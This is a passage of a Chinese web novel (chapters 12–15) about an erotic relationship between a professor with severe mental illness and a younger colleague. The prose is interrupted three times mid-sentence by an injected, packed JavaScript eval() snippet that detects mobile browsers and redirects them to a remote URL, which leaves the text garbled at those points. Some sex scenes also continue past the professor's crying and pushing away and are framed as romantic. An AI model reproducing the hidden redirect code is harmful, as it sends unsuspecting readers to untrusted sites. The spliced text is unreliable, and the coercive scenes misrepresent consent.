林泠放松地靠在椅子上,卷发搭配着漂亮的眉眼,清冷又矜贵。一时间白凇感觉这就像是一只价值连城地赛级猫向他抬起爪子,每一根蜷曲的毛发都象征着他的血统不凡,以及照顾和养护的天价费用以及所需付出的时间和经历,他太美了,所以他骄傲,但是碰巧他又很喜欢他身上的味道,所以这只高冷傲娇的小猫轻轻抬起自己的爪子,懒洋洋冲他招了招。 喂,你,接受得了吗?接受不了不能负责的话别说你喜欢我,我自己就能活得好好的。 仅仅只是在脑中轻轻一想白凇嘴角就挂上了笑意。 整间办公室里面只剩下他们两个人,白凇忽然起身锁上门,然后几步走到林教授面前,单膝跪着,微笑着说:“感觉很好……很美。” 林泠有点诧异:“……这都能欣赏得下去?” 白凇轻轻握住他的手,说:“其实每次教授生气起来训斥学生的样子……” 林泠皱眉。正当他等待对方说出一些类似于”这样不好这样不对“的陈词滥调时,对方忽然在他手背上落下一吻。 “……很性感。” 白凇不等林泠反应过来,扬起明亮的双眸,像是回味着说:“看起来特别可爱。” 林泠简直不知道应该用什么来形容这个胆大包天的混账,一时间想抽回手,对方非但没让还顺势搂住了他的腰。不受控制地一阵天旋地转之后,林泠被他抓住双手按在书架上,大腿被颇具威胁的用膝盖顶住。 “……你还玩这么小众的?” 白凇被冤枉了似的眨眨眼,说:“怎么会呢。我就是太喜欢教授了。” “感觉教授不管是做什么我都喜欢。” 林泠沉思片刻。忽然抽出手,劈脸就是一个耳光。 “还喜欢吗?” 白凇的脸微微一偏,一时间感觉自己的呼吸都烫了起来。两个人毫无预兆在书架上亲得难舍难分,原本极其正经严肃的办公室似乎在他们暧昧的氛围下室温都上升了几度。那一巴掌没有感受到一点痛感,白凇只是看见对方微微皱眉冷淡地抽了他一巴掌,脖子上的血管在白皙的皮肤下格外明显。 想要吃了他……想要。 “喜欢,”白凇低声说,“怎么样都喜欢。” 12. 第 12 章 真的是疯掉了…… 林泠从来没有想过自己可以是一个如此宽宏大量的人,可以容许一个人在他的身上留下属于他的痕迹,和他耳鬓厮磨。林泠几乎被抱起,纤细的腰被死死搂住。背后的书架硌得人有些疼,白凇似乎发现了,手护上教授单薄的脊背,追逐着对方闪躲的眼神,叫他教授,恶劣地提醒他从此时此刻此地,教授正在丝毫没有反抗的情况下依偎在一个男人的怀里被吻得喘不上气。这是他自愿的,这应该是让他感到享受的——光是这两点就让白凇喜悦到无以言表。 他当然不是什么温和的驯顺者,不管是什么样的手段,扮猪吃老虎也罢,强取豪夺也罢,作为竞争力很强的掠食者他等待的始终是猎物进入自己预设好的路径,最好能心甘情愿暴露出脆弱的侧颈。他无需再伪装什么阳光男大亦或者什么驯顺的犬科动物,他轻轻咬住林泠的颈动脉,牙尖上就是对方跳动的脉搏,他轻声说: “教授,答应我……这副样子不要让别人看到好吗。” 林泠呼吸急促,脸上浮现着不正常的潮红,衣领被人松开好几个纽扣,在本来被衣服覆盖的部分落下了几处暧昧不清的痕迹。他的胸口很薄——哪怕只是看着就能感觉到,内力的心跳透过白皙的肌肤,被描摹得一清二楚。 林泠被推倒在自己的办公桌上,原本摆放整洁的资料被撞散了几张。所有狼狈,所有异常的神色,肢体语言一下子完全暴露在掠食者眼中,林泠从未觉得自己如此脆弱过,就好像失去反抗任人鱼肉。哪怕仅仅从本能的角度他的身体就是如此迷恋白凇,每当二人出现肢体接触,他都能感受到异样的欢愉——他的植物性神经如此饥渴地享受着来自他人的充满爱意的抚摸,哪怕只是这样都足以让他的理智土崩瓦解。白凇低头在他的眼睫和嘴唇上啄吻,用只有两个人才能听见的声音低低絮语:“教授……我好担心,如果有一个和我差不多的人出现在你身边,你会不会也这样顺从呢……” 上位明明掌控着体位的优势,能在性等方面手握主导权,但是难免会在精神上保持对于下位的迷恋,就像坚守自己猎物的兽类,占有欲,控制欲,安全感,其中任何一个点出现问题都有可能导致全部理智的崩盘。林泠显然并没有安抚这类人的经验,他只是喘息着否认对方嘴里的说法,但是暴露出的每一点脆弱和柔软都足以加剧白凇的焦虑。 白凇在他的脖颈处留下了一个深深的标记,虎牙深深刺进皮肤,在白皙的皮肤上这个标记格外明显。林泠被他抱坐在腿上,闭着眼睛调整着呼吸,腰和手依旧被白凇紧紧握着。 这占有欲也太强了。林泠无奈想。小年轻都这样的吗。 他对于白凇的宽容里面当然有年龄的成分。他会觉得还小幼稚一点爱闹一点都很正常,没必要和他一般见识,所以做标记这个行为他并没有进行过多的反抗。 虽然没有反抗很多,但是当手无意间触碰到前胸的牙印时,还是会顿一下。 还是不要顺着他这么胡闹了……凡事还是要有一个度。 林泠从白凇身上站起来时白凇也迅速跟着他站了起来。白凇看着林教授缓缓收拾碰到的文件,动作几乎没有什么烟火气,简单收纳回原样之后,就示意白凇一起走。 将这样一个清冷的人儿拉下神坛,成就感自然是不必说的。 虽然二人每次都停在最后一步之前,这当然也算是二人的一个心照不宣,认为不应该操之过急。他俩关系的暧昧程度早就超过了前些日子开玩笑一般的“亲朋好友”,现在的情况更像是地下情人,对于彼此的关系缄口不谈,却在眼神断触相接时感受到对方不一样的情绪。在外面依然是相敬如宾的同事,门锁一旋就能在阴暗处肆意接吻。这种没有名分的见不得光的背德感显然很刺激,连巴掌都可以算得上催情剂。 虽然如此甜蜜暧昧,但是白凇的目标显然不止于此。于是他在林泠向他下达逐客令时状若调笑地说:“我现在算是您的情人吗?” 林泠抬眼看他。 “你看,谁也不知道我俩的关系,每天在无人处亲昵,到了晚上又赶我走……怎么这么像教授包养的小情人呢。” 林泠总是被这人这张没有一个正形的嘴逗得恼起来,气急败坏之下把自己擦头的毛巾砸在这个油嘴滑舌的“小情人”脸上,冷冷道:“是吗?那改天还是让人来捉奸吧。” 毛巾上是林泠洗发水的味道,浓郁的桂花味,没有把某人砸老实反而把他砸笑了。逗完人自然是要去哄的,给教授留了三个晚安吻,带着死缠烂打才让林泠掏出来给他的备用钥匙回了家。林泠喝了一杯凉水压压惊,耳尖是难耐的热意。 情人吗? 这也太……暧昧不清,纠缠的意味还是太张扬了,见不得光的东西寓意总归不够敞亮。他躺在床上犹豫了很久适当减少了安眠药量,药片触及唇舌时将一切滋味用苦味掩盖。 还真的是很好的人形安眠药剂。 “最近是有遇见什么比较开心的事情了吗?感觉你最近的睡眠和精气神都好了不少。” 林泠自从上大学之后精神和心理疾病上面的主治医生就成了他教授,一晃也是十年过去了,每两周例行的问诊和配药几乎雷打不动。林泠面对熟悉和信任的人却也拿捏不好自己是不是应该将事情和盘托出,最后决定用蒙太奇的碎块虚化部分让人难以理解的:“最近遇见了一个……很有好感的人。” 教授已经变成了一个精神抖擞的地中海小老头,却依然对于年轻人这些感情纠葛有着十足的兴趣,自己这个铁树一般的学生忽然有了要开花的迹象,珍稀程度真的和裸子植物强行变异出花这个器官一样离谱。 正是因为和病人认识太久了,所以才更清楚地知道——这件事情的发生概率是如此之小。 “ring,我很意外能听到这个消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546549|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你的好感具体指的是?” 林泠皱起眉头,最终还是叹了口气:“……应当超出正常的欣赏范畴了。而且我的身体对他出现了生理上的亲近欲望,我一直在试图揣摩这到底是不是植物性神经的一次偷袭。” 老教授眼里闪烁着八卦的目光,但是对上自己得意门生无语的眼神,只能清了清嗓子默默正经起来:“你对于以前的事情有了不同的看法吗?” 林泠摇摇头。“对于驾驶车辆的PTSD还是存在,我依旧对于组建家庭这件事情执一个偏被迫害妄想症倾向的认知……但是这个好感就这样和他们共生了,不禁觉得这个好感并不像是好转的迹象……” 没准还是理智的脱轨。他恐惧这里面究竟有几分真心,就像他分不清自己身体里剧烈的痛苦究竟是不治之症,疾病,亦或者只是身体无病呻吟产生的幻痛。他一并压下来,当成假的。可是这个假里面但凡有半分真,他或许就永世不得超生了。 “这样子。那就是你和他接触时生理和心理都能够得到一定程度上的满足——但是由于你很恐惧,所以心理上的满足低于生理上的满足,这也迫使你觉得心理上的满足有可能来源于生理性的满足?” “对。” 老教授哑然失笑。一番拗口的逻辑后,他出人意料地沉默了。 林泠没有催促也没有补充,只是等着。老教授挠了挠秃顶的头,翻了一会儿书又合上。他认真地看向他这个优秀至极,他视若己出的孩子,然后说:“ring,爱就是爱。这个不管你怎么怀疑,但是爱就是爱,哪怕这里面只有千分之一的爱也是在你的默许下生成的。你动摇了……你没有像以前一样推开,不是吗。” 是的。 林泠闭上眼。 心理咨询室里面陷入了异样的安静。良久,林泠带着和之前相差不大的药单走出去,去药房拿药。一拿药就是数十盒。白凇看不到也不现实。 他是抑郁焦虑经过创伤催化后形成的精神分裂,虽然他看起来和精神分裂症患者的刻板印象相差甚远。他的病情很严重,但是这不妨碍他高强度的工作学习,或者可以说正是这种学习和他严重的病痛形成了动态平衡,让他成为了一个看起来平静理智的人。 这个动态平衡还是太玄乎了,只能说他和老师担心的东西其实一样——没人知道这个平衡的抗压能力,心动这种陌生的情绪加进去根本就不知道会发生什么化学反应,恶化和好转之间的概率基本上可以说是八二开。老师交代他接下来一周来一次,随时监视精神心里和生理状况,防止脱轨事件地发生。 其实有一瞬间林泠感受到讽刺一般的快意,他觉得如果自己真的成了疯子……那么难看的模样,别人会怎么说呢。 他清醒聪明了一辈子,早就已经不堪重负了。 那何妨赌一赌……赌一赌这个不定项能延伸出怎样的不可预知的结局。 13. 第 13 章 白凇来的时候林泠刚好在对药物进行分类收纳。林泠似乎并不准备避讳什么——他将所有的药分门别类装在一个箱子里,白凇走过来的时候基本上已经收拾完了——他也只看到了一些复杂拗口的词,比如舍曲林,酒石酸,奥氮平等等。药物的数量很惊人,而那几个化学词汇白凇多少也能猜到其具体用处。他沉默地看着林泠,走过去蹲跪在他身边,轻声问:“这是治什么的?” 林泠睫毛微微一敛,似乎思考了一下措辞才说:“抑郁焦虑。很多年的毛病了,不影响日常生活。” “不影响日常生活”……那说明服用大量精神类药物在林泠每天的生活里面早就已经融为一体了。 这可说不上乐观。 但是白凇也没打算拆穿他。林泠学习的就是相关专业,想来也不会看不清楚,他一个局外人又有什么资格能自信觉得自己参与其中会让事情好转。抑郁焦虑在学术界覆盖率非常高,不仅仅是抑郁焦虑,阿斯伯格,精神分裂,双相在这个智商博弈的圈层里面都可以说是常见病,覆盖率估计比感冒强。 虽然很可惜,但是在追寻真理的道路上没有几个人能够不走极端,白凇这种已经算是少有的健康了。 等林泠将箱子合上推到床底下,白凇就轻轻搂住他,而出乎他意料的是,林泠抓住他胳膊并整个人向后躺去,白凇一时没防备也被他拽倒在床上。林泠依旧躺在他怀里,看起来有些恹恹的,额头抵在白凇肩膀上,用轻而哑的声音说:“……靠一下。” 这多少让白凇有些受宠若惊了,于是他把林泠抱得更紧了一些。林泠回想起老师说的“爱就是爱”,似乎有些头疼,逃避似地闭上眼睛,在这种他人赐予的安全感里埋得更深。他能感觉白凇的身体很好,而且估计从小体质就很好,这种充满朝气的健康是不常见的。而林泠打小就是一个药罐子,时不时就生个小病,也曾把监护人急得团团转。 后面身体也没好到哪里去,但是监护人不急了。 因为监护人跑路了。 很冷的地狱笑话。 他实在是很羡慕别人健康的身体,所以他其实是羡慕白凇的。他不知道怎么形容才好,但是他站在白凇面前只感觉自己身上用来防卫都霜雪止不住地融化,暴露出他惨败的皮肉和骨骼。 人总是具有趋光性的。 或许正是因为他不喜欢自己,所以他格外喜欢白凇。 他躺在白凇怀里久久没有说话,几乎让人以为他已经睡着了。但是白凇知道他还没有,也没有想着去打扰他。不知过去了多久,林泠忽然抬起头,柔软微凉的唇瓣似乎无意蹭到白凇的下巴,使其微微一愣。林泠垂着眼睛,嘴唇几乎贴着白淞的皮肤,说: “……今晚你留下来睡吧。不要做过分的事情就好。” 白凇简直不敢相信自己的耳朵。林泠平静地和他对视着,任由对方吻着自己,手臂上移,最终搂住白凇的脖子。他似乎被亲得有些不好意思似地低下头去,令人意外地轻啄了白凇的喉结。白凇几乎呼吸一滞,抓住林泠的手腕,有些无奈地说:“你这样……” 林泠不语,只是平静地看着他,仿佛自己什么都没做。白凇看他装什么都没做,揉住他腰间的手力气骤然大了一些,弄得怀里人闷哼一声,纤细的手指抓住他的手臂,半眯起眼睛,却没有像之前一样直接推拒。 这太要命了。 白凇叹了口气,实在是拿此人没有一点办法。林泠似乎是羞怯的,但是每当他决定了给他进展,每一件事情都做得那么干脆,将冲击性全部交给他消化。为了报复他故意在咬他脖子的时候下齿重了一些。怀里人有些发抖,但是没躲。 林泠知道白凇并不是那么能压抑住的,但他还是残忍地将消化欲望的工作交给他——他想看到他在这种冲动时的控制。白凇当然很不满。不过他俩倒是有一个共识,那就是这个时间更进一步显然操之过急。 晚上白凇留宿在他房间,林泠很自然地把吹头发的任务交给了他。他的卷发其实挺软的,更是混血里面少有的纯黑,由于白凇是在他家洗的澡,两个人身上的味道几乎一模一样,显得更加暧昧不清。白凇手指似有若无刮过他的后颈时他会忍不住眯起眼睛,鸡皮疙瘩刚起来又下去。 这种动作里面时不时会掺杂一些故意成分,但是很难精准报复。 林泠知道自己在尝试——尝试白凇对他的影响能有多大,能对他的病情有多大的改善,事实证明这人堪比十几颗精神类药物。这也同样证明了一旦他沉溺进去,他短时间内承受不住对方的抽身离开。这很糟糕,也很不符合规避风险的原则。 但是他和导师在这件事情上,居然都是赌徒的心态。 就一定要激起那潭死水吗。 不激起的话,他总是感受不到自己活着。 他感受着清晰的触觉,体温地传递,皮肤的接触,痒还有轻微的痛。这些体验让他感到恍惚——他真的好久没有如此细致入微去感知自己的身体了。被对方一点点唤醒。他觉得白凇特别好看。他不会说出口,但是他会在白凇抱住他时偷偷去吻他的喉结。 其实他也不确定对方到底有没有感受到。 在这件事情上很显然白凇更加煎熬一点。它只能安慰自己大夏天的洗冷水澡很正常。嗯很正常。 ……给我等着,他心道。 填饱肚子真是刻不容缓。 他挑了一个晚上踌躇了一下,给他妈妈发去了消息。他妈妈迅速打了电话过来,接起来第一句话就是要他坦白从宽。 白凇站在自己屋里,忍不住往下看了一眼林泠亮着灯的房间,云淡风轻地说:“……就和我发的消息一样。我有喜欢的人了,是个男的,比我大五岁,是个当老师的。” 白霓深吸一口气:“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546550|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …告诉我你不是0.” 白凇:“这点信任都没有?你儿子就不可能是0啊。” 白霓嗤笑一声:“你都是gay了还有什么是不可能的?” 白凇无言以对。 他妈妈一直都是一名非常有个性的高知女性,仅仅只是花了相对比较短的一个时间就接受了自己儿子喜欢男的这么一个事实。她向白凇讨要了林泠的照片。白凇这才发现自己几乎没有给林泠拍过多少照片。翻找了许久,他找到一张林泠站在树下的照片,而那张照片林泠并没有看镜头,而是在用视线搜寻着什么,精致漂亮的脸仿佛和周围的人单开了一个图层。白霓收到照片之后沉默了很久,然后问:“你应该是单相思吧。” 白凇:“应该不算吧,亲过也抱过了,我没有用强。” 白霓思前想后还是觉得有些难以接受,本着质疑的态度向白凇再三确认了林泠亲热的自主性。给白凇整得脑袋嗡嗡的:“你这是对我多没有自信?” 白霓冷笑:“你什么德行我不知道?你可得小心翼翼把名分要来,不然有你难受的。” 白凇:“……” 白霓似乎没有想到自己儿子一出手就是搞质量这么高的年下恋,信息量太大导致她头疼欲裂,没说几句就把电话挂了,说要自己去缓冲。白凇也不想听亲妈对自己的嫌弃了,于是下楼去找林教授。推开门时,发现只有客厅的灯亮着。林泠坐在沙发上,随着他的推门进入睁开了眼睛。 四目相对。白凇忽然没来由地觉得对方应该是在等他。他并不敢太确定——因为这个听起来还是太自恋了一点。 林泠还是坐在那里,清清冷冷的,更像是在衬托他想法的不可理喻。 但是当他走过去时,林泠不着痕迹地往他那边靠了一点点。只有一点点。但是依然是靠了。白凇忽然意识到林泠或许不仅仅是害羞和没有经验——也许他是在试探,他可不可以相信他,能相信多少。 这是一个麻烦问题,毕竟如果他张嘴说我很喜欢你我会一直喜欢你不管什么情况……这儿听起来假得不行且只会显得他更不靠谱。但是不管他到底如何勇敢,这毕竟都是他第一次谈恋爱,他其实很急切地向对方展示自己的真心,但是缺乏经验让他难以让对方相信。 林泠给人第一感觉是冷硬。拿体温化了第一层触手就是柔软的。可是当你尝试去触摸里面的骨骼时,柔软的身体组织包裹着他的手,他不知道怎么样才能把这蜷曲的骨骼舒展开来——最差的打算的话,这多年蜷缩的骨头是否变形退化,是否不堪重负而在舒展过程中出现裂痕? 他不想雪上加霜。他很爱他,越是接近越是如此,但是对方的脆弱还是太超乎他想象了。而且林泠在把自己的伤口露给他看,想让他看到这些尖利难看的骨刺自己往回退,它也可以顺理成章地重新蜷缩回去。 这无疑是他不想看到的。 14. 第 14 章 项目组的工作逐渐走向正轨,白凇的生活也渐渐忙碌起来。林泠在白天的时候基本上看不到他,有时候他都回家了也没见白凇回来——这其实很正常,在前两年林泠经常回家上床已经是凌晨,主要是年近三十感觉自己身体实在是扛不住造才慢慢调整了作息。 在白凇的软磨硬泡下他还是给了白凇家里的备用钥匙,但是因为白凇的存在,他会为到底是否服用安眠药进行纠结。毕竟这个药能少吃还是少吃,对神经伤害太大了。白凇在的时候他不太依靠药物就能入睡,这无疑是一件好事,但是将他生活和白凇高度捆绑在了一起。 每当到了那个睡觉的点白凇还没回来他就会一个人在客厅里面呆呆站好久,直到感觉腿酸了才拖着脚步走进卧室。 他并不想承认他很想他。 从身体,到心理。他都非常想他。有分离焦虑的或许不仅仅是白凇,还有他。 他不想这样……这太危险了。把自己的理智寄托在他人身上,这简直和犯了死罪一样可怕。 他会制造一点“偶然”。比如说稍微晚一点上床,碰见刚好回来的白凇。当然他不会有规律地这样。也不愿意让对方发现他是刻意等着的。他习惯性克制着自己的感情。白凇总是会走过来像抱猫咪一般自然地将他抱住,轻轻揉一揉他的头发。 他不知道白凇是为什么这么会照顾人。他只需要保持顺从,白凇就能做好所有事情。 有时他睡着了白凇才回来,安眠药让他意识混沌,会在白凇抱住他的腰时下意识推拒。但是白凇会干脆利落把他手臂放自己脖子上,将他整个人抱住——然后他还真就抱着白凇脖子迷迷糊糊睡过去了。 ……这个人简直聪明到可怕,放以前是要杀头的。 他时不时会因为对方过于聪明而感到羞恼。 白凇还真的说对了——他俩现在真的很像情人关系。没有名分,但是同吃同住,拥抱接吻。白凇不知道为什么没有很催着他给名分,而林泠总不是很想动这个嘴。 感觉好累……而且那样他俩的窗户纸就破了吧,他应该怎么将真实的赤裸的自己展示给对方看呢。 那天他加班没看时间,等回过神来已经过了十二点。林泠有些懊恼,但是他没有进行任何发泄,只是回了家——然后发现白凇还没回来。 ……这么晚了都没有回来吗? 积攒了一晚上的困倦被一种烦躁替代。他坐在沙发上冲着从来不看的电视发着呆,破天荒拿起手机,给白凇发了一条消息。 聊天框里几乎全是白凇主动给他发的消息。 他犹豫了很久,打了一句:这么晚了还没回家吗。 好像有些古怪。他删掉,改成:这么晚了还在工作吗。 发出去。对面并没有像往常一样在短时间内回复。林泠呆愣地捧着手机,百无聊赖盯着聊天框,竟然就这样睡了过去。 醒来的时候是白凇伸出手探他额头时骤然惊醒的。他醒得实在是吊诡,在梦里狠狠往下一摔,受了十足的猛地睁开眼,连带着整个人都抖了一下。白凇很显然也被他下了一跳,但是相比于林泠他对自己情绪收拾地很快,立马询问他:“怎么在沙发上睡着了?这么晚没上床吗。” 林泠不知道自己是怎么了,似乎惊吓将他的情绪掌控一下子摔碎了,他的目光落在白凇伸过来的手上,忽然也抬起手,用力抓住了白凇。 白凇怔住了:“……教授?” 林泠不知道自己现在是什么表情——他只知道自己呆呆看着白凇,手上用力很重,似乎并不能分辨面前是什么,耳边嗡嗡响着——他只是很纯粹地想抓住,不松手,眼前反复模糊清晰,清晰模糊。 白凇叫了他好几声他才反应过来,烫手一般松开了他。他实在是不能理解自己刚才那样是为什么,来不及构思理由,有些仓皇地丢下一句“我去洗澡”就站起身离去。 林泠站在洗手台前,撑着台面,不知过了多久才终于让混沌的脑子慢慢恢复一点可控的迹象。他刚后退一步,厕所门就被打开了。 几乎来不及反应,他就被白凇抓住手腕摁在了冰冷的墙壁上,然后是喘不上气的深吻。林泠不知道这人为什么突然进来,但是这吻显然有些重,他有些无助地挣了一下手腕,却被捏得更紧。林泠被亲得头晕眼花,唇瓣分开后白凇又咬上他的脖子,轻声问他: “你今天是在等我吗。” 是吗。林泠有些迷糊地想。这个问题也是直接到他不想回答,他刚想偏头躲开就被捏着下巴转回来。 很奇怪,尽管有些惊慌但是他没有什么反抗的想法,面对着白凇浅色的眸子他眼睫打颤,声音细若游丝:“……没有,我只是…………” 只是忘记时间了。 这很显然连他自己都骗不过——白凇不语,手毫不留情伸向他领口,用力一扯,一串扣子从他手边崩落。他听着林泠颤抖的喘息声,再次重复问题: “是在等我吗。教授?” 林泠的脸已经红透了,呜咽着想要阻止他的动作,但是这显然没什么效果——这只让他看起来更可怜更惹人欺负,从眼眶到笔尖到嘴唇都是湿漉漉的红,越是欺负嗓子深处的声音就越软,断断续续的简直就是在勾引。 这简直就是魅魔……白凇简直要气笑了。他拿出了“今天不说实话我是不会放过你的”架势勾起嘴角,用膝盖把林泠摁在墙上,在对方哀求般的目光里面再次重复了问题。 林泠快要疯掉了。 “不应该这样……” 白凇皱起眉头:“嗯?” 林泠的手紧紧抓着白凇的肩膀,眼眶的红晕越发浓郁,用劲把他往外推,虽然这没什么用。白凇问他为什么。林泠看着他,眼睛忽然就湿了。 “不应该这样子……我比你大那么多,不应该……” 白凇挑眉:“这就是你想对我说的?” 怀里人被他逼得声音几乎带上啜泣,但是这并没有让他心软。白凇很认真地看着他,问:“你不喜欢我吗?” 喜欢。可是…… 林泠张了张嘴,想说的话却哽在了喉头。说不出就不要说了,白凇干脆利落吻住他的嘴唇——这人嘴是真的硬但是不妨碍亲起来软,硬的来不了就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546551|171157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来软的,他一遍一遍亲着林泠,试图让对方松口。林泠只感觉身上很烫。准确来说他俩都很烫……他被吻得晕晕的,问题在他耳边一遍遍重复,他终于在混乱的心绪中呢喃道: “……喜欢……” “喜欢?” “……” 白凇低低地笑了。他把怀里软得一塌糊涂的人打横抱起回到房间,把他深深压进柔软的床垫里。林泠似乎有些害怕接下来会发生的事情,他想自己或许应该挣扎一下——但是他只是无力地推拒着,发出了控制不住的呻吟。 白凇完全没有控制自己的力道,他唤着对方“教授”,非常享受地听着对方破碎的声音,问他喜不喜欢。 林泠根本回答不了,只是控制不住地哭。 其实白凇根本没指望他回答——毕竟他很清楚自己欺负得有多狠,林泠连求饶的声音都发不出,比破碎的语句更有说服力的是对方发颤的腿和汹涌的眼泪。这是白凇第一次看见林泠哭,湿漉漉的,实在是有点可怜。林泠的腰比看上去还要细,不得不说真的给人一种一不小心就会扭断的感觉,在他还有些不熟练的动作里起伏,比他想象里还要漂亮得多。 “教授。”他把林泠的手捧到脸边,眼中带笑,“教授?” 他叫一声林泠的脸就越用力往被子里埋,给他羞得无地自容。这也太好欺负了,白凇在心里感慨。弄到最后林泠早已没有一丝力气,整个人软倒下去,迷迷糊糊地喊着他的名字。 白凇也一声声答应着。 林泠不是睡过去的——他几乎是晕过去的。他浑身上下哪都疼,没等白凇善后好就失去了意识。 这一觉结结实实睡了快20个小时。Zerak没敢去办公室,请了一天假寸步不离地守着——然后在傍晚的时候四目相对。 白凇终于从这个人总是显得冷冷清清的面部表情里面读出了一丝烦躁的味道。 林教授冷冰冰垂下眼睫,将他的手往后推,但是很显然白凇一点听他的话的意思都没有,感受到他推拒的动作甚至还抱得紧了一些,仗着教授舍不得弄他表现得仿佛死猪不怕开水烫。林泠也是结结实实领教了他的厚脸皮,昨天晚上被这人弄到崩溃哭泣的记忆回溯,他几乎万年都不会有的脾气一下子就翻了上来。他气急败坏地去掰白凇的手指:“……松开!” 此人察觉到他的情绪波动,心里暗笑,抬头的时候却立马装出一副可怜巴巴的样子,面对林泠因为羞恼而有些泛红的眼眶,好像真的有点愧疚似的说:“我错了……教授。” 林泠本来都做好抵死反抗的准备了,结果一下子被这人一句话干蒙了——他真的是一点感情经验都没有,面对亲密关系第一反应是恐惧和推拒,本以为会迎来对方同样的反应,却没想到昨天还咄咄逼人的人居然一下子就服软了,一时手足无措僵在了原地。姓白的狗东西计谋得逞,趁着林教授愣神这一下更加用力地把他抱进怀里:“教授——哎呀,反正睡了都睡了,你就从了我吧。” 林泠大脑迅速捕捉到“睡”字,脸刷一下就红了,脱口而出:“什么睡……!松开我,你……” 15.第 15 章 怀里的人体型偏瘦,腰细得似乎一用力就能握在手里,实在是诱人到令人发指,想到昨天晚上这张漂亮的脸也就是这具身体的主人一边啜泣着说不要一边被他嘈到断断续续呻吟,平日里所有的高冷和温柔都被他打碎,他想这个应该是只有他能看到的……他好喜欢。好喜欢看到他这样。哪怕是在他怀里挣扎,他对于林泠表现出的秩序外的情绪哪怕只有一丁点都觉得愉悦万分。 这都是只有他才能看到的。都是独属于他的,和那些坐在讲台下面的学生不一样。 白凇眼底闪过一丝促狭的笑意,出声的时候却依旧一副担心难过的味道:“教授……我真的很喜欢你……你让我抱一抱好不好,就抱一抱。” 林泠的脸皮薄,几句话下来已经羞得头都抬不起来了,两人哪怕是体型都有差距他怎么可能挣脱得开,他整个人就这么被拥进怀里,像昨晚一样不可抗拒。 他实在是太被动了…… 他明明自己就是学心理学的,他分析也能分析出自己在理论层面大概是怎样一个情况,但是分析出结果和在事实上接受——但是这怎么可能呢?他怎么可能会在如此短暂的时间里喜欢上一个比他小这么多的一个男生呢?! 白凇今年才22啊……这个年龄甚至没有他带的有些硕士研究生大,他一个当老师的……怎么好意思搞一个和自己学生一样大的对象呢。 林泠漂亮的脸上泛着他自己丝毫意识不到的漂亮且让人颇有凌虐欲的红晕,他微微有些气喘,有些汗湿的头发粘在脸上,随着他的起伏呼吸在白到几乎透明的皮肤上抖动。白凇心下骤然一软,缓缓把头埋进怀中人的颈项间,再一次轻轻喊了一句“教授”:“求你了……” 林泠的侧颈敏感至极,这么一埋整个人骤然一僵,耳根红到似乎要滴血。心脏不受控制在狂跳,他绝望地感受着自己不受控制的情绪——他根本就控制不住自己接近白凇的欲望。他哪怕多看他一眼都会无法控制地再次感受到从心底翻上来的一次一次室颤。 怎么会这么夸张……怎么可能啊,这太荒谬了。这才见面一星期多吧,他俩居然就从同事到朋友然后直接发展到了床上,昨天晚上他意识模糊间被人一遍一遍轻声诱哄着沉溺进去,自己带着泣音的喘声和心跳声连着床板发出的吱嘎响动混乱地将他包裹,他不知道自己当时是怎样的情景——这太狼狈了。 太狼狈了…… 这个事情已经荒谬到他的所有心理防线都摇摇欲坠了,一直以来坚持的各种研究成果和知识储备也是濒临炸裂,林泠的眼眶忽然红了。 他也不知道自己为什么突然想哭,这个感触很无厘头,而且在别人面前哭真的很丢脸,他竭力忍住眼眶的酸涩,想要别过头去,却被几根修长的手指轻轻抵住面颊,然后对上那双浅金色的眼睛。 他被人这样温柔地捧住脸,湖蓝色的眸子狠狠颤了一下,下意识就想伸手推拒,但是下一秒,白凇吻上他的眼睛,嘴唇轻轻擦过脸颊,在他几乎要将自己淹没的心跳声中轻轻在他耳畔呢喃道:“教授。你好漂亮啊。” “好美……好喜欢你,”白凇弯起眼睛,“你真的太可爱了……亲爱的。你当我男朋友好不好?” 林泠被封住嘴唇时,原本他已经慌张地别开眼睛试图逃避了,眼下他没有机会重新建立起防线,就再一次被洪水般涌来的爱意冲垮。 白凇感觉到怀里的人慢慢软下来,伏在他怀里,半晌忽然抱怨似的低声说:“你太小了……” 白凇听得哭笑不得,手搭在教授的腰窝上,隔着薄薄一层布料似有若无地摩挲了一下,满意地感受到怀里的人抖了一下,这才说: “那没办法了。那教授你只能往好的方向想,毕竟我导师一直教育我师姐谈恋爱不要谈25岁以后的男人,起码我……” 林教授脸上空白一瞬,然后气急败坏从他怀里挣脱出来,直接把枕头摔到他身上。白凇笑得上气不接下气腰都直不起来,被便宜老婆一枕头砸在头上,只得认输道歉,但还是笑得停不下来。林教授气得胸膛剧烈起伏,脑子和烧开了水似的沸成了一团浆糊,半晌从牙缝里面挤出两个字:“……疯子……” 